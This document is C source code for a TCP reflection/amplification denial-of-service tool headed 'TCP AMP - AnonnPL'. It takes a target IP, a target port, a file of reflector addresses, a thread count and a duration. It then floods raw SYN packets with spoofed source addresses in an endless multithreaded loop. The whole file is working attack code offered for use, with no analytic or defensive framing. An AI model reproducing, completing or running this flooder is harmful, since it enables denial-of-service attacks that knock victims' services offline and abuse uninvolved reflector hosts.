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- /* TCP AMP - AnonnPL */
- #include <unistd.h>
- #include <time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <pthread.h>
- #include <netinet/tcp.h>
- #include <netinet/ip.h>
- #include <netinet/in.h>
- #include <netinet/if_ether.h>
- #include <netdb.h>
- #include <net/if.h>
- #include <arpa/inet.h>
- #define MAX_PACKET_SIZE 8192
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- struct list
- {
- struct sockaddr_in data;
- struct list *next;
- struct list *prev;
- };
- struct list *head;
- struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++)
- {
- Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- unsigned short csum (unsigned short *buf, int count)
- {
- register unsigned long sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 2; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (unsigned short)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
- struct tcp_pseudo
- {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void setup_ip_header(struct iphdr *iph)
- {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
- iph->id = htonl(13373);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = IPPROTO_TCP;
- iph->check = 0;
- iph->saddr = inet_addr("192.168.3.100");
- }
- void setup_tcp_header(struct tcphdr *tcph)
- {
- tcph->source = htons(5678);
- tcph->seq = rand();
- tcph->ack_seq = 0;
- tcph->res2 = 0;
- tcph->doff = 5;
- tcph->syn = 1;
- tcph->window = htonl(65535);
- tcph->check = 0;
- tcph->urg_ptr = 0;
- }
- void *flood(void *par1)
- {
- struct thread_data *td = (struct thread_data *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin = td->sin;
- struct list *list_node = td->list_node;
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- init_rand(time(NULL));
- bzero(datagram, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- tcph->source = sin.sin_port;
- tcph->dest = list_node->data.sin_port;
- iph->saddr = sin.sin_addr.s_addr;
- iph->daddr = list_node->data.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- int tmp = 1;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- register unsigned int pmk = 0;
- while(1){
- if(pmk % 2)
- {
- iph->saddr = sin.sin_addr.s_addr;
- iph->daddr = list_node->data.sin_addr.s_addr;
- iph->id = htonl(rand_cmwc() & 0xFFFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- tcph->dest = list_node->data.sin_port;
- tcph->seq = rand_cmwc() & 0xFFFF;
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
- list_node = list_node->next;
- } else {
- iph->saddr = list_node->data.sin_addr.s_addr;;
- iph->daddr = sin.sin_addr.s_addr;
- iph->id = htonl(rand_cmwc() & 0xFFFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- tcph->seq = rand_cmwc() & 0xFFFF;
- tcph->source = list_node->data.sin_port;
- tcph->dest = sin.sin_port;
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- }
- pmk++;
- usleep(0);
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 4){
- fprintf(stderr, "Invalid parameters!\n");
- fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
- exit(-1);
- }
- int i = 0;
- head = NULL;
- fprintf(stdout, "Setting up Sockets...\n");
- int max_len = 128;
- char *buffer = (char *) malloc(max_len);
- buffer = memset(buffer, 0x00, max_len);
- int num_threads = atoi(argv[4]);
- FILE *list_fd = fopen(argv[3], "r");
- while (fgets(buffer, max_len, list_fd) != NULL) {
- if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) {
- buffer[strlen(buffer) - 1] = 0x00;
- if(head == NULL)
- {
- head = (struct list *)malloc(sizeof(struct list));
- bzero(head, sizeof(struct list));
- head->data.sin_addr.s_addr=inet_addr(strtok(buffer, " "));
- head->data.sin_port=htons(atoi(strtok(NULL, " ")));
- head->next = head;
- head->prev = head;
- } else {
- struct list *new_node = (struct list *)malloc(sizeof(struct list));
- bzero(new_node, sizeof(struct list));
- new_node->data.sin_addr.s_addr=inet_addr(strtok(buffer, " "));
- new_node->data.sin_port=htons(atoi(strtok(NULL, " ")));
- new_node->prev = head;
- new_node->next = head->next;
- head->next = new_node;
- }
- i++;
- }
- }
- pthread_t thread[num_threads];
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(atoi(argv[2]));
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- struct thread_data td[num_threads];
- for(i = 0;i<num_threads;i++){
- td[i].thread_id = i;
- td[i].sin= sin;
- td[i].list_node = head;
- pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
- head = head->next;
- }
- fprintf(stdout, "Starting Flood...\n");
- if(argc > 5)
- {
- sleep(atoi(argv[5]));
- } else {
- while(1){
- sleep(1);
- }
- }
- return 0;
- }
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